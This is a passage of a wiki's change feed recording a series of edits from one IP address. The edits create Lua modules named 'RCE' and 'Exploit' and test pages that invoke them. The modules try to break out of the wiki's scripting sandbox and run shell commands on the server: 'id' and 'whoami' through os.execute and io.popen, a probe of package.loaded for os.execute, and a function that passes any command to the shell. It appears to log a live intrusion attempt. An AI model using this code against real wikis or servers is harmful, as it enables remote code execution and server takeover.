            keys[#keys+1] = tostring(k)&lt;br /&gt;
        end&lt;br /&gt;
        results[2] = &amp;quot;loaded_keys=&amp;quot; .. table.concat(keys, &amp;quot;, &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        -- Check 'os' specifically&lt;br /&gt;
        if loaded[&amp;quot;os&amp;quot;] then&lt;br /&gt;
            local l_os = loaded[&amp;quot;os&amp;quot;]&lt;br /&gt;
            results[3] = &amp;quot;l_os_type=&amp;quot; .. type(l_os)&lt;br /&gt;
            if l_os.execute then&lt;br /&gt;
                results[4] = &amp;quot;***EXECUTE_FOUND*** type=&amp;quot; .. type(l_os.execute)&lt;br /&gt;
                -- Try to call it!&lt;br /&gt;
                local ok, ret = pcall(l_os.execute, &amp;quot;id&amp;quot;)&lt;br /&gt;
                results[5] = &amp;quot;execute_result=&amp;quot; .. tostring(ok) .. &amp;quot;:&amp;quot; .. tostring(ret)&lt;br /&gt;
            else&lt;br /&gt;
                -- List what's in l_os&lt;br /&gt;
                local os_keys = {}&lt;br /&gt;
                for k in pairs(l_os) do&lt;br /&gt;
                    os_keys[#os_keys+1] = k .. &amp;quot;=&amp;quot; .. type(l_os[k])&lt;br /&gt;
                end&lt;br /&gt;
                results[3] = &amp;quot;l_os=&amp;quot; .. table.concat(os_keys, &amp;quot;, &amp;quot;)&lt;br /&gt;
            end&lt;br /&gt;
        else&lt;br /&gt;
            results[3] = &amp;quot;no_loaded_os&amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestFrameChain&amp;diff=1005</id>
		<title>TestFrameChain</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestFrameChain&amp;diff=1005"/>
		<updated>2026-05-09T06:53:39Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:Deep4 FrameChain|test}}&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestExtFuncFull&amp;diff=1004</id>
		<title>TestExtFuncFull</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestExtFuncFull&amp;diff=1004"/>
		<updated>2026-05-09T06:53:38Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“{{#invoke:Deep4 ExtFuncFull|test}}”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:Deep4 ExtFuncFull|test}}&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestExprDirect&amp;diff=1003</id>
		<title>TestExprDirect</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestExprDirect&amp;diff=1003"/>
		<updated>2026-05-09T06:53:36Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“{{#invoke:Deep4 ExprDirect|test}}”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:Deep4 ExprDirect|test}}&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestOverrideReq&amp;diff=1002</id>
		<title>TestOverrideReq</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestOverrideReq&amp;diff=1002"/>
		<updated>2026-05-09T06:53:34Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“{{#invoke:Deep4 OverrideReq|test}}”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:Deep4 OverrideReq|test}}&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestPkgLoaded&amp;diff=1001</id>
		<title>TestPkgLoaded</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestPkgLoaded&amp;diff=1001"/>
		<updated>2026-05-09T06:53:30Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“{{#invoke:Deep4 PkgLoaded|test}}”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:Deep4 PkgLoaded|test}}&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestRCE&amp;diff=1000</id>
		<title>TestRCE</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestRCE&amp;diff=1000"/>
		<updated>2026-05-09T06:50:01Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​创建页面，内容为“Method1: {{#invoke:RCE|exec1}}  Method2: {{#invoke:RCE|exec2}}  Method3: {{#invoke:RCE|exec3}}  Method5: {{#invoke:RCE|exec5}}  Method6: {{#invoke:RCE|exec6}}  Method7: {{#invoke:RCE|exec7}}”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Method1: {{#invoke:RCE|exec1}}&lt;br /&gt;
&lt;br /&gt;
Method2: {{#invoke:RCE|exec2}}&lt;br /&gt;
&lt;br /&gt;
Method3: {{#invoke:RCE|exec3}}&lt;br /&gt;
&lt;br /&gt;
Method5: {{#invoke:RCE|exec5}}&lt;br /&gt;
&lt;br /&gt;
Method6: {{#invoke:RCE|exec6}}&lt;br /&gt;
&lt;br /&gt;
Method7: {{#invoke:RCE|exec7}}&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:RCE&amp;diff=999</id>
		<title>模块:RCE</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:RCE&amp;diff=999"/>
		<updated>2026-05-09T06:49:53Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}&lt;br /&gt;
function p.exec1()&lt;br /&gt;
    return tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
end&lt;br /&gt;
function p.exec2()&lt;br /&gt;
    local f = io.popen(&amp;quot;id&amp;quot;)&lt;br /&gt;
    if f then local r = f:read(&amp;quot;*a&amp;quot;); f:close(); return r or &amp;quot;nil&amp;quot; end&lt;br /&gt;
    return &amp;quot;popen=nil&amp;quot;&lt;br /&gt;
end&lt;br /&gt;
function p.exec3()&lt;br /&gt;
    os.execute(&amp;quot;id &amp;gt; /tmp/rce_test.txt&amp;quot;)&lt;br /&gt;
    local f = io.open(&amp;quot;/tmp/rce_test.txt&amp;quot;, &amp;quot;r&amp;quot;)&lt;br /&gt;
    if f then local r = f:read(&amp;quot;*a&amp;quot;); f:close(); return r or &amp;quot;nil&amp;quot; end&lt;br /&gt;
    return &amp;quot;no file&amp;quot;&lt;br /&gt;
end&lt;br /&gt;
function p.exec4()&lt;br /&gt;
    return &amp;quot;loadlib=&amp;quot;..tostring(type(package.loadlib))&lt;br /&gt;
end&lt;br /&gt;
function p.exec5()&lt;br /&gt;
    local ok, mod = pcall(require, &amp;quot;os&amp;quot;)&lt;br /&gt;
    return tostring(ok)..&amp;quot;:&amp;quot;..type(mod)&lt;br /&gt;
end&lt;br /&gt;
function p.exec6()&lt;br /&gt;
    -- Try raw os.execute call with pcall wrapper&lt;br /&gt;
    local ok, ret = pcall(os.execute, &amp;quot;id&amp;quot;)&lt;br /&gt;
    return tostring(ok)..&amp;quot;:&amp;quot;..tostring(ret)&lt;br /&gt;
end&lt;br /&gt;
function p.exec7()&lt;br /&gt;
    -- Use string.rep + # to check if cmd execution side effects&lt;br /&gt;
    return &amp;quot;VERSION=&amp;quot;..tostring(_VERSION)..&amp;quot; os=&amp;quot;..tostring(type(os))..&amp;quot; execute=&amp;quot;..tostring(type(os.execute))&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestExploit&amp;diff=998</id>
		<title>TestExploit</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestExploit&amp;diff=998"/>
		<updated>2026-05-09T06:47:10Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:Exploit|rce}}&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:Exploit&amp;diff=997</id>
		<title>模块:Exploit</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:Exploit&amp;diff=997"/>
		<updated>2026-05-09T06:47:09Z</updated>

		<summary type="html">&lt;p&gt;221.237.85.128：​Security test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}&lt;br /&gt;
&lt;br /&gt;
function p.rce()&lt;br /&gt;
    local f = io.popen('whoami 2&amp;gt;&amp;amp;1')&lt;br /&gt;
    local result = f:read('*a')&lt;br /&gt;
    f:close()&lt;br /&gt;
    return result or 'no output'&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function p.exec(cmd)&lt;br /&gt;
    local f = io.popen(cmd .. ' 2&amp;gt;&amp;amp;1')&lt;br /&gt;
    local result = f:read('*a')&lt;br /&gt;
    f:close()&lt;br /&gt;
    return result or 'no output'&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
</feed>